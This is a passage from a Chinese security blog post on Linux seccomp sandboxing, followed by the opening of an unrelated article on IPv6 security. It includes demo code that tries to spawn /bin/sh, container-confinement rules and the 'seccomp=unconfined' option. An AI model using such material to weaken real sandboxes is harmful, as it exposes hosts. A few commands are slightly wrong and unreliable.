ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);
char * filename = "/bin/sh";
char * argv[] = {"/bin/sh",NULL};
char * envp[] = {NULL};
write(1,"i will give you a shell\n",24);
syscall(59,filename,argv,envp);//execve
return 0;
}
编译运行, 在执行 execve 时程序报错退出 :
null@ubuntu:~/seccomp$ gcc -g simple_syscall_seccomp.c -o simple_syscall_seccomp -lseccomp
null@ubuntu:~/seccomp$ ./simple_syscall_seccomp
i will give you a shell
Bad system call (core dumped)
解释一下上诉代码：
* scmp_filter_ctx : 过滤器的结构体
* seccomp_init : 初始化的过滤状态 ,函数原型：
seccomp_init(uint32_t def_action)
可选的def_action有：
SCMP_ACT_ALLOW：即初始化为允许所有系统调用，过滤为黑名单模式；
SCMP_ACT_KILL：则为白名单模式过滤。
SCMP_ACT_KILL_PROCESS：整个进程将被内核终止
SCMP_ACT_TRAP:如果所有系统调用都不匹配，则给线程发送一个SIGSYS信号
SCMP_ACT_TRACE(uint16_t msg_num)：在使用ptrace根据进程时的相关选项
SCMP_ACT_ERRNO(uint16_t errno)：不匹配会收到errno的返回值
SCMP_ACT_LOG：不影响系统调用，但是会被记录；
* [seccomp_rule_add](https://man7.org/linux/man-pages/man3/seccomp_rule_add.3.html) ： 添加一条规则，函数原型为：
int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action,int syscall, unsigned int arg_cnt, ...);
其中`arg_cnt`参数表明是否需要对对应系统调用的参数做出限制以及指示做出限制的个数，如果仅仅需要允许或者禁止所有某个系统调用，`arg_cnt`直接传入0即可，如
`seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0)` 即禁用execve，不管其参数如何。
如果`arg_cnt`的参数不为0， 那 `arg_cnt` 表示后面限制的参数的个数，也就是只有调用 execve，且参数满足要求时，才会拦截
syscall 。如果想要更细粒度的过滤系统调用，把参数也考虑进去,就要设置arg_cnt不为零，然后在利用宏做一些过滤。
举个例子， 拦截 write 函数 参数大于 0x10 时的系统调用 ：
> seccomp_write_limit.c：
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
int main(void){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write),1,SCMP_A2(SCMP_CMP_GT,0x10));//第2(从0)个参数大于0x10
seccomp_load(ctx);
write(1,"1234567812345678",0x10);//不被拦截
write(1,"i will give you a shell\n",24);//会拦截
return 0;
}
编译执行
null@ubuntu:~/seccomp$ gcc -g seccomp_write_limit.c -o seccomp_write_limit -lseccomp
null@ubuntu:~/seccomp$ ./seccomp_write_limit
1234567812345678Bad system call (core dumped)
其中`SCMP_A2`代表为第二个参数指定比较结构，`SCMP_CMP_GT`代表 大于(greater than)，详细内容如下。
>
> libseccmop/include/[seccomp.h.in](https://github.com/seccomp/libseccomp/blob/3f0e47fe2717b73ccef68ca18f9f7297ee73ebb2/include/seccomp.h.in)：
...
...
/**
* Comparison operators
*/
enum scmp_compare {
_SCMP_CMP_MIN = 0,
SCMP_CMP_NE = 1, /**< not equal */
SCMP_CMP_LT = 2, /**< less than */
SCMP_CMP_LE = 3, /**< less than or equal */
SCMP_CMP_EQ = 4, /**< equal */
SCMP_CMP_GE = 5, /**< greater than or equal */
SCMP_CMP_GT = 6, /**< greater than */
SCMP_CMP_MASKED_EQ = 7, /**< masked equality */
_SCMP_CMP_MAX,
};
...
struct scmp_arg_cmp {
unsigned int arg; /**< argument number, starting at 0 */
enum scmp_compare op; /**< the comparison op, e.g. SCMP_CMP_* */
scmp_datum_t datum_a;
scmp_datum_t datum_b;
};
....
/**
* Specify a 32-bit argument comparison struct for use in declaring rules
* @param arg the argument number, starting at 0
* @param op the comparison operator, e.g. SCMP_CMP_*
* @param datum_a dependent on comparison (32-bits)
* @param datum_b dependent on comparison, optional (32-bits)
*/
#define SCMP_CMP32(x, y, ...) \
_SCMP_MACRO_DISPATCHER(_SCMP_CMP32_, __VA_ARGS__)(x, y, __VA_ARGS__)
/**
* Specify a 64-bit argument comparison struct for argument 0
*/
#define SCMP_A0_64(...) SCMP_CMP64(0, __VA_ARGS__)
#define SCMP_A0 SCMP_A0_64
/**
* Specify a 32-bit argument comparison struct for argument 0
*/
#define SCMP_A0_32(x, ...) SCMP_CMP32(0, x, __VA_ARGS__)
/**
* Specify a 64-bit argument comparison struct for argument 1
*/
#define SCMP_A1_64(...) SCMP_CMP64(1, __VA_ARGS__)
#define SCMP_A1 SCMP_A1_64
/**
* Specify a 32-bit argument comparison struct for argument 1
*/
#define SCMP_A1_32(x, ...) SCMP_CMP32(1, x, __VA_ARGS__)
/**
* Specify a 64-bit argument comparison struct for argument 2
*/
#define SCMP_A2_64(...) SCMP_CMP64(2, __VA_ARGS__)
#define SCMP_A2 SCMP_A2_64
/**
* Specify a 32-bit argument comparison struct for argument 2
*/
#define SCMP_A2_32(x, ...) SCMP_CMP32(2, x, __VA_ARGS__)
/**
* Specify a 64-bit argument comparison struct for argument 3
*/
#define SCMP_A3_64(...) SCMP_CMP64(3, __VA_ARGS__)
#define SCMP_A3 SCMP_A3_64
/**
* Specify a 32-bit argument comparison struct for argument 3
*/
#define SCMP_A3_32(x, ...) SCMP_CMP32(3, x, __VA_ARGS__)
/**
* Specify a 64-bit argument comparison struct for argument 4
*/
#define SCMP_A4_64(...) SCMP_CMP64(4, __VA_ARGS__)
#define SCMP_A4 SCMP_A4_64
/**
* Specify a 32-bit argument comparison struct for argument 4
*/
#define SCMP_A4_32(x, ...) SCMP_CMP32(4, x, __VA_ARGS__)
/**
* Specify a 64-bit argument comparison struct for argument 5
*/
#define SCMP_A5_64(...) SCMP_CMP64(5, __VA_ARGS__)
#define SCMP_A5 SCMP_A5_64
/**
* Specify a 32-bit argument comparison struct for argument 5
*/
#define SCMP_A5_32(x, ...) SCMP_CMP32(5, x, __VA_ARGS__)
...
...
除了seccomp_rule_add之外，还有其他添加规则的函数，如：seccomp_rule_add_array ()、
seccomp_rule_add_exact ()和seccomp_rule_add_exact_array ()，详细信息可查看参考链接。
* seccomp_load： 将当前的 seccomp 过滤器加载到内核中 ，函数原型：
int seccomp_load(scmp_filter_ctx ctx);
* seccomp_reset : 释放现有的过滤上下文重新初始化之前的状态，并且只能在成功调用seccomp_init () 之后才能使用。
int seccomp_reset（scmp_filter_ctx ctx ，uint32_t def_action ）
# 其他工具
## seccmop-bpf.h
[seccomp-bpf.h](https://github.com/ahupowerdns/secfilter/blob/master/seccomp-bpf.h)是由开发人员编写的一个十分便捷的头文件用于开发seccomp-bpf
。该头文件已经定义好了很多常见的宏，如验证系统架构、允许系统调用等功能，十分便捷，如下所示。
...
define VALIDATE_ARCHITECTURE \
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
define EXAMINE_SYSCALL \
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr)
define ALLOW_SYSCALL(name) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)
define KILL_PROCESS \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
...
应用示例：
> [seccomp_policy.c
> ](https://gist.github.com/mstemm/1bc06c52abb7b6b4feef79d7bfff5815#file-> seccomp_policy-c)
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include "seccomp-bpf.h"
void install_syscall_filter()
{
struct sock_filter filter[] = {
/* Validate architecture. */
VALIDATE_ARCHITECTURE,
/* Grab the system call number. */
EXAMINE_SYSCALL,
/* List allowed syscalls. We add open() to the set of
allowed syscalls by the strict policy, but not
close(). */
ALLOW_SYSCALL(rt_sigreturn),
#ifdef __NR_sigreturn
ALLOW_SYSCALL(sigreturn),
#endif
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(exit),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(open),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
assert(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0);
assert(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == 0);
}
int main(int argc, char **argv)
{
int output = open("output.txt", O_WRONLY);
const char *val = "test";
printf("Calling prctl() to set seccomp with filter...\n");
install_syscall_filter();
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
printf("Note that open() worked. However, close() will not\n");
close(input);
printf("You will not see this message--the process will be killed first\n");
}
执行结果
$ ./seccomp_policy
Calling prctl() to set seccomp with filter...
Writing to an already open file...
Trying to open file for reading...
Note that open() worked. However, close() will not
Bad system call
## seccomp-tools
一款用于分析seccomp的开源工具，项目地址：<https://github.com/david942j/seccomp-tools>
主要功能：
* Dump： 从可执行文件中自动转储 seccomp BPF
* Disasm： 将 seccomp BPF 转换为人类可读的格式
* Asm：使编写seccomp规则类似于编写代码
* Emu： 模拟 seccomp 规则
安装
sudo apt install gcc ruby-dev
gem install seccomp-tools
使用
null@ubuntu:~/seccomp$ seccomp-tools dump ./simple_syscall_seccomp
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
从输出中可知禁用了execve系统调用。
# 使用Seccomp保护Docker的安全
Seccomp技术被用在很多应用程序上以保护系统的安全性，Docker支持使用seccomp来限制容器的系统调用，不过需要启用内核中的`CONFIG_SECCOMP`。
null@ubuntu:~$ grep CONFIG_SECCOMP= /boot/config-$(uname -r)
CONFIG_SECCOMP=y
当使用docker run 启动一个容器时，Docker会使用默认的seccomp配置文件来对容器施加限制策略，该默认文件是以`json`格式编写， 在
300 多个系统调用中禁用了大约 44
个系统调用，可以在Moby项目中找到该[源码](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)。
null@ubuntu:~$ sudo docker run --rm -it ubuntu /bin/bash
root@85e01c28bd2c:/# bash
root@85e01c28bd2c:/# ps
PID TTY TIME CMD
1 pts/0 00:00:00 bash
10 pts/0 00:00:00 bash
13 pts/0 00:00:00 ps
root@85e01c28bd2c:/# grep -i seccomp /proc/1/status
Seccomp: 2
Docker中默认的配置文件提供了最大限度的包容性，除了默认的选择之外，Docker允许我们自定义该配置文件来灵活的对容器的系统调用进行限制。
示例：以白名单的形式允许特定的系统调用
> example.json
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{
"names": [
"arch_prctl",
"sched_yield",
"futex",
"write",
"mmap",
"exit_group",
"madvise",
"rt_sigprocmask",
"getpid",
"gettid",
"tgkill",
"rt_sigaction",
"read",
"getpgrp"
],
"action": "SCMP_ACT_ALLOW",
"args": [],
"comment": "",
"includes": {},
"excludes": {}
}
]
}
* `defaultAction` : 指定默认的seccomp 操作，具体的可选参数上面已经介绍过了，最常用的无非是`SCMP_ACT_ALLOW`、`SCMP_ACT_ERRNO`，这里选择`SCMP_ACT_ERRNO`，表示默认禁止全部系统调用，以白名单的形式在赋予可用的系统调用。
* `architectures` ： 系统架构，不同的系统架构系统调用可能不同。
* `syscalls`：指定系统调用以及对应的操作，name定义系统调用名，action对应的操作，这里表示允许name里边中的系统调用，args对应系统调用参数，可以为空。
这样，在使用 _docker run_ 运行容器时，就可以使用 `--security-opt` 选项指定该配置文件来对容器进行系统调用定制。
$ docker run --rm -it --security-opt seccomp=/path/to/seccomp/example.json hello-world
举例，禁止容器创建文件夹，就可以用黑名单的形式禁用mkdir系统调用
> seccomp_mkdir.json:
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "mkdir",
"action": "SCMP_ACT_ERRNO",
"args": []
}
]
}
使用该策略启动容器，并在容器中创建文件夹时，就会收到禁止信息，不允许创建文件夹。
null@ubuntu:~/seccomp/docker$ sudo docker run --rm -it --security-opt seccomp=seccomp_mkdir.json busybox /bin/sh
/ # ls
bin dev etc home proc root sys tmp usr var
/ # mkdir test
mkdir: can't create directory 'test': Operation not permitted
当然也可以不适用任何seccomp策略启动容器，只需要在启动选项中加上`--security-opt seccomp=unconfined`即可。
## zaz
_zaz seccomp_
是一个可以为容器自动生成json格式的seccomp文件的开源工具，项目地址：<https://github.com/pjbgf/zaz。>
主要用法为
zaz seccomp docker IMAGE COMMAND
它能够为特定的可执行文件定制系统调用，以只允许特定的操作，禁止其他操作
举个例子：为alpine中的ping命令生成seccomp配置文件
$ sudo ./zaz seccomp docker alpine "ping -c5 8.8.8.8" > seccomp_ping.json
$ cat seccomp_ping.json | jq '.'
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{
"names": [
"arch_prctl",
"bind",
"clock_gettime",
"clone",
"close",
"connect",
"dup2",
"epoll_pwait",
"execve",
"exit",
"exit_group",
"fcntl",
"futex",
"getpid",
"getsockname",
"getuid",
"ioctl",
"mprotect",
"nanosleep",
"open",
"poll",
"read",
"recvfrom",
"rt_sigaction",
"rt_sigprocmask",
"rt_sigreturn",
"sendto",
"set_tid_address",
"setitimer",
"setsockopt",
"socket",
"write",
"writev"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
如上所示，`zaz`检测到了33个系统调用，使用白名单的形式过滤系统调用。那它以白名单的形式生成的系统调用能否很好的过滤系统系统呢？是否能够满足运行ping命令，而不能运行除了它允许的系统调用之外的命令呢？做个测试，首先用下面Dockerfile构建一个简单的镜像。
> Dockerfile
FROM alpine:latest
CMD ["ping","-c5","8.8.8.8"]
构建成功后，使用默认的seccomp策略启动容器，没有任何问题，可以运行。
$ sudo docker build -t pingtest .
$ sudo docker run --rm -it pingtest
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=127 time=42.139 ms
64 bytes from 8.8.8.8: seq=1 ttl=127 time=42.646 ms
64 bytes from 8.8.8.8: seq=2 ttl=127 time=42.098 ms
64 bytes from 8.8.8.8: seq=3 ttl=127 time=42.484 ms
64 bytes from 8.8.8.8: seq=4 ttl=127 time=42.007 ms
--- 8.8.8.8 ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 42.007/42.274/42.646 ms
接着我们使用上述zaz生成的策略试试，
$ sudo docker run --rm -it --security-opt seccomp=seccomp_ping.json pingtest
docker: Error response from daemon: failed to create shim: OCI runtime create failed: container_linux.go:380: starting container process caused: close exec fds: open /proc/self/fd: operation not permitted: unknown.
容器并没有成功启动，在创建OCI的时候就报错了，报错原因是`operation not
permitted`,这个报错上面似乎提到过，是想要使用的系统调用被禁用的缘故，可能zaz这种白名单的模式鲁棒性还是不够强，而且Docker更新那么多次，`zaz`缺乏维护导致捕获的系统调用不足，在容器启动过程中出现了问题。奇怪的是，当我在此运行同样的命令，却引发了panic报错：`No
error following JSON procError payload`。
$ sudo docker run --rm -it --security-opt seccomp=seccomp_ping.json pingtest
docker: Error response from daemon: failed to create shim: OCI runtime create failed: runc did not terminate successfully: exit status 2: panic: No error following JSON procError payload.
goroutine 1 [running]:
github.com/opencontainers/runc/libcontainer.parseSync(0x56551adf30b8, 0xc000010b20, 0xc0002268a0, 0xc00027f9e0, 0x0)
github.com/opencontainers/runc/libcontainer/sync.go:93 +0x307
github.com/opencontainers/runc/libcontainer.(*initProcess).start(0xc000297cb0, 0x0, 0x0)
github.com/opencontainers/runc/libcontainer/process_linux.go:440 +0x5ef
github.com/opencontainers/runc/libcontainer.(*linuxContainer).start(0xc000078700, 0xc000209680, 0x0, 0x0)
github.com/opencontainers/runc/libcontainer/container_linux.go:379 +0xf5
github.com/opencontainers/runc/libcontainer.(*linuxContainer).Start(0xc000078700, 0xc000209680, 0x0, 0x0)
github.com/opencontainers/runc/libcontainer/container_linux.go:264 +0xb4
main.(*runner).run(0xc0002274c8, 0xc0000200f0, 0x0, 0x0, 0x0)
github.com/opencontainers/runc/utils_linux.go:312 +0xd2a
main.startContainer(0xc00025c160, 0xc000076400, 0x1, 0x0, 0x0, 0xc0002275b8, 0x6)
github.com/opencontainers/runc/utils_linux.go:455 +0x455
main.glob..func2(0xc00025c160, 0xc000246000, 0xc000246120)
github.com/opencontainers/runc/create.go:65 +0xbb
github.com/urfave/cli.HandleAction(0x56551ad3b040, 0x56551ade81e8, 0xc00025c160, 0xc00025c160, 0x0)
github.com/urfave/[email protected]/app.go:523 +0x107
github.com/urfave/cli.Command.Run(0x56551aa566f5, 0x6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56551aa5f509, 0x12, 0x0, ...)
github.com/urfave/[email protected]/command.go:174 +0x579
github.com/urfave/cli.(*App).Run(0xc000254000, 0xc000132000, 0xf, 0xf, 0x0, 0x0)
github.com/urfave/[email protected]/app.go:276 +0x7e8
main.main()
github.com/opencontainers/runc/main.go:163 +0xd3f
: unknown.
这种报错或许是不应该的，我尝试在网上寻找报错的相关信息，类似的情况很少，而且并不是每次运行都是出现这种panic，正常情况下应该是`operation
not permitted`，这是由于我们的白名单没有完全包括必须的系统调用导致的。目前将此情况汇报给了Moby
[issue](https://github.com/moby/moby/issues/43730)，或许能够得到一些解答。
类似panic信息：
[https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=1714183](https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=1714183)
无论是哪种报错，看起来都是runc出了问题，尝试解决这个问题，我们就要知道Docker到底是如何在运行时加载seccomp？
当我们要创建一个容器的时候 ，容器守护进程 Dockerd会请求 `containerd` 来创建一个容器 ， `containerd`
收到请求后，也并不会直接去操作容器，而是创建一个叫做 `containerd-shim` 的进程，让这个进程去操作容器，之后`containerd-shim`会通过OCI去调用容器运行时`runc`来启动容器， `runc` 启动完容器后本身会直接退出，`containerd-shim`
则会成为容器进程的父进程, 负责收集容器进程的状态, 上报给 `containerd`, 并在容器中 pid 为 1
的进程退出后接管容器中的子进程进行清理, 确保不会出现僵尸进程 。也就是说调用顺序为
Dockerd -> containerd -> containerd-shim -> runc
启动一个容器ubuntu，并在容器中再运行一个bash
null@ubuntu:~$ sudo docker run --rm -it ubuntu /bin/bash
root@ef57fff95b80:/# bash
root@ef57fff95b80:/# ps
PID TTY TIME CMD
1 pts/0 00:00:00 bash
9 pts/0 00:00:00 bash
12 pts/0 00:00:00 ps
查看调用栈，`containerd-shim`（28051-28129）并没有被施加seccomp,而容器内的两个bash（1 ->
28075;9->28126）被施加了seccomp策略。
root@ubuntu:/home/null# pstree -p | grep containerd-shim
|-containerd-shim(28051)-+-bash(28075)---bash(28126)
| |-{containerd-shim}(28052)
| |-{containerd-shim}(28053)
| |-{containerd-shim}(28054)
| |-{containerd-shim}(28055)
| |-{containerd-shim}(28056)
| |-{containerd-shim}(28057)
| |-{containerd-shim}(28058)
| |-{containerd-shim}(28059)
| |-{containerd-shim}(28060)
| `-{containerd-shim}(28129)
root@ubuntu:/home/null# grep -i seccomp /proc/28051/status
Seccomp: 0
root@ubuntu:/home/null# grep -i seccomp /proc/28075/status
Seccomp: 2
root@ubuntu:/home/null# grep -i seccomp /proc/28126/status
Seccomp: 2
root@ubuntu:/home/null# grep -i seccomp /proc/28052/status
Seccomp: 0
...
...
root@ubuntu:/home/null# grep -i seccomp /proc/28129/status
Seccomp: 0
也就是说对容器施加seccomp 是在`container-shim`启动之后，在调用runc的时候出现了问题，是否我们的seccomp策略也要将runc所必须的系统调用考虑进去呢？Zaz是否考虑了容器启动时候的runc所必须的系统调用?
这就需要捕获容器在启动时，runc所必要的系统调用了。
## Sysdig
为了获取容器运行时runc用了哪些系统调用，可以有很多方法，比如ftrace、strace、fanotify等，这里使用`sysdig`来监控容器的运行，`sisdig`时一款原生支持容器的系统可见性工具，项目地址：<https://github.com/draios/sysdig。具体的安装和使用方法可以参考GitHub上给出的详细教程，这里只做简单介绍。>
安装完成后，直接在命令行运行sysdig，不加任何参数， sysdig 会捕获所有的事件并将其写入标准输出 ：
$ sysdig
285304 01:21:51.270700399 7 sshd (50485) > select
285306 01:21:51.270701716 7 sshd (50485) < select res=2
285307 01:21:51.270701982 7 sshd (50485) > rt_sigprocmask
285308 01:21:51.270702258 7 sshd (50485) < rt_sigprocmask
285309 01:21:51.270702473 7 sshd (50485) > rt_sigprocmask
285310 01:21:51.270702660 7 sshd (50485) < rt_sigprocmask
285312 01:21:51.270702983 7 sshd (50485) > read fd=13(<f>/dev/ptmx) size=16384
285313 01:21:51.270703971 1 sysdig (59131) > switch next=59095 pgft_maj=0 pgft_min=1759 vm_size=280112 vm_rss=18048 vm_swap=0
...
默认情况下，sysdig 在一行中打印每个事件的信息，格式如下
`%evt.num %evt.time %evt.cpu %proc.name (%thread.tid) %evt.dir %evt.type
%evt.args`
其中
* evt.num 是递增的事件编号
* evt.time 是事件时间戳
* evt.cpu 是捕获事件的 CPU 编号
* proc.name 是生成事件的进程的名称
* thread.tid 是产生事件的TID，对应单线程进程的PID
* evt.dir 是事件方向，> 表示进入事件，< 表示退出事件
* evt.type 是事件的名称，例如“open”或“read”
* evt.args 是事件参数的列表。在系统调用的情况下，这些往往对应于系统调用参数，但情况并非总是如此：出于简单或性能原因，某些系统调用参数被排除在外。
启动一个终端A，输入以下命令进行监控，`container.name`指定捕获容器名为ping，`proc.name`指定进程名为runc的包，保存为runc.scap.
$sysdig -w runc.scap container.name=ping&&proc.name=runc
接着在另一个终端B启动该容器
$sudo docker run --rm -it --name=ping pingtest
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=127 time=44.032 ms
64 bytes from 8.8.8.8: seq=1 ttl=127 time=42.069 ms
64 bytes from 8.8.8.8: seq=2 ttl=127 time=42.066 ms
64 bytes from 8.8.8.8: seq=3 ttl=127 time=42.073 ms
64 bytes from 8.8.8.8: seq=4 ttl=127 time=42.112 ms
--- 8.8.8.8 ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 42.066/42.470/44.032 ms
执行完毕后，在终端A使用ctrl+c停止捕获，并筛选捕获的内容，只留系统调用，将结果保存到`runc_syscall.txt`中，这样我们就得到了启动容器时runc使用了哪些系统调用。
$ sysdig -p "%syscall.type" -r runc.scap | runc_syscall.txt
$ cat -n runc_syscall.txt
...
3437 rt_sigaction
3438 exit_group
3439 procexit
可以发现筛选出的系统调用数还是有很多的，其中包含很多重复的系统调用，这里可以简单的写一个脚本，进行过滤，通过过滤后，一共有72个系统调用。
$ python analyse.py runc_syscall.txt
Filter syscall num: 72
filter syscall:['clone', 'close', 'prctl', 'getpid', 'write', 'unshare', 'read', 'exit_group', 'procexit', 'setsid', 'setuid', 'setgid', 'sched_getaffinity', 'openat', 'mmap', 'rt_sigprocmask', 'sigaltstack', 'gettid', 'rt_sigaction', 'mprotect', 'futex', 'set_robust_list', 'munmap', 'nanosleep', 'readlinkat', 'fcntl', 'epoll_create1', 'pipe', 'epoll_ctl', 'fstat', 'pread', 'getdents64', 'capget', 'epoll_pwait', 'newfstatat', 'statfs', 'getppid', 'keyctl', 'socket', 'bind', 'sendto', 'getsockname', 'recvfrom', 'mount', 'fchmodat', 'mkdirat', 'symlinkat', 'umask', 'mknodat', 'fchownat', 'unlinkat', 'chdir', 'fchdir', 'pivot_root', 'umount', 'dup', 'sethostname', 'fstatfs', 'seccomp', 'brk', 'fchown', 'setgroups', 'capset', 'execve', 'signaldeliver', 'access', 'arch_prctl', 'getuid', 'getgid', 'geteuid', 'getcwd', 'getegid']
将zaz生成的系统调用与我们捕获的系统调用合二为一，系统调用数到了85个。如下：
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{
"names": [
"clone",
"close",
"prctl",
"getpid",
"write",
"unshare",
"read",
"exit_group",
"procexit",
"setsid",
"setuid",
"setgid",
"sched_getaffinity",
"openat",
"mmap",
"rt_sigprocmask",
"sigaltstack",
"gettid",
"rt_sigaction",
"mprotect",
"futex",
"set_robust_list",
"munmap",
"nanosleep",
"readlinkat",
"fcntl",
"epoll_create1",
"pipe",
"epoll_ctl",
"fstat",
"pread",
"getdents64",
"capget",
"epoll_pwait",
"newfstatat",
"statfs",
"getppid",
"keyctl",
"socket",
"bind",
"sendto",
"getsockname",
"recvfrom",
"mount",
"fchmodat",
"mkdirat",
"symlinkat",
"umask",
"mknodat",
"fchownat",
"unlinkat",
"chdir",
"fchdir",
"pivot_root",
"umount",
"dup",
"sethostname",
"fstatfs",
"seccomp",
"brk",
"fchown",
"setgroups",
"capset",
"signaldeliver",
"access",
"getuid",
"getgid",
"geteuid",
"getcwd",
"getegid",
"arch_prctl",
"clock_gettime",
"connect",
"dup2",
"execve",
"exit",
"ioctl",
"open",
"poll",
"rt_sigreturn",
"set_tid_address",
"setitimer",
"setsockopt",
"socket",
"writev"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
通过该文件再次运行容器，发现可以成功运行！
null@ubuntu:~/seccomp/docker/zaz/cmd$ sudo docker run -it --rm --security-opt seccomp=seccomp_ping.json pingtest
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=127 time=43.424 ms
64 bytes from 8.8.8.8: seq=1 ttl=127 time=42.873 ms
64 bytes from 8.8.8.8: seq=2 ttl=127 time=42.336 ms
64 bytes from 8.8.8.8: seq=3 ttl=127 time=48.164 ms
64 bytes from 8.8.8.8: seq=4 ttl=127 time=42.260 ms
--- 8.8.8.8 ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 42.260/43.811/48.164 ms
尝试运行其他命令，有些命令由于缺乏必须的系统调用，会出现`Operation not permitted`的报错。
$ sudo docker run -it --rm --security-opt seccomp=seccomp_ping.json pingtest ls
ls: .: Operation not permitted
$ sudo docker run -it --rm --security-opt seccomp=seccomp_ping.json pingtest mkdir test
mkdir: can't create directory 'test': Operation not permitted
# 总结
本文记录了在学习seccomp过程中的相关内容，其中的一些观点难免会有一些问题，若有错误或者建议，烦请批评指正 。
# 参考链接
> **BPF操作码**
>
> <https://www3.physnet.uni-> hamburg.de/physnet/Tru64-Unix/HTML/MAN/MAN7/0012____.HTM>
>
> **seccomp_rule_add**
>
> <https://man7.org/linux/man-pages/man3/seccomp_rule_add.3.html>
>
> **seccomp和seccomp bfp**
>
> <https://ajxchapman.github.io/linux/2016/08/31/seccomp-and-seccomp-bpf.html>
>
> **seccomp 概述**
>
> <https://lwn.net/Articles/656307/>
>
> **seccomp沙箱机制 & 2019ByteCTF VIP**
>
> <https://bbs.pediy.com/thread-258146.htm>
>
> **prctl(2) — Linux manual page**
>
> <https://man7.org/linux/man-pages/man2/prctl.2.html>
>
> **seccomp-tools**
>
> <https://github.com/david942j/seccomp-tools>
>
> **libseccomp**
>
>
> <https://github.com/seccomp/libseccomp/blob/3f0e47fe2717b73ccef68ca18f9f7297ee73ebb2/include/seccomp.h.in>
>
> docker seccomp
>
> <https://docs.docker.com/engine/security/seccomp/>
>
> Docker seccomp 与OCI
>
> <https://forums.mobyproject.org/t/docker-seccomp-prevents-system-calls-> issued-by-oci-runtime/297/9> | 社区文章 |
# IPv6规模化部署下互联网企业IPv6安全升级与实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**阿里安全猎户座实验室高级专家 东帆**
## 0x00 引言
随着国家对IPv6的发展战略高度重视，2017年11月26日中共中央办公厅、国务院办公厅发布《推进互联网协议第六版（IPv6）规模部署行动计划》，2018年5月2日工信部发布工业和信息化部关于贯彻落实《推进互联网协议第六版（IPv6）规模部署行动计划》的通知。其中针对IPv6安全，计划中特别提到并重点要求升级安全系统，强化IPv6地址管理，增强IPv6安全防护，加强IPv6环境工业互联网、物联网、车联网、云计算、大数据、人工智能等领域的网络安全技术、管理及机制研究，构筑新兴领域安全保障能力。
同时技术和市场角度来看，随着5G、IoT、云计算技术的不断成熟，万物互联时代即将到来，随之而来的是海量的终端设备接入需求，目前IPv4地址空间已不足以支撑未来发展要求，由于IPv4地址的枯竭，其交易价格也在不断攀升，各相关企业也有实际的IPv6升级需求。
当前运营商、网络设备厂商、移动终端设备商、CDN厂商、互联网企业以及网络安全厂商等IPv6规模化部署均按照行动计划要求大力推进中，加速构建高速率、广普及、全覆盖、智能化的下一代互联网，按照部署计划，到2018年末，IPv6活跃用户数达到2亿，在互联网用户中的占比不低于20%，到2020年末，IPv6活跃用户数超过5亿，在互联网用户中的占比超过50%，新增网络地址不再使用私有IPv4地址，到2025年末，我国IPv6网络规模、用户规模、流量规模位居世界第一位。
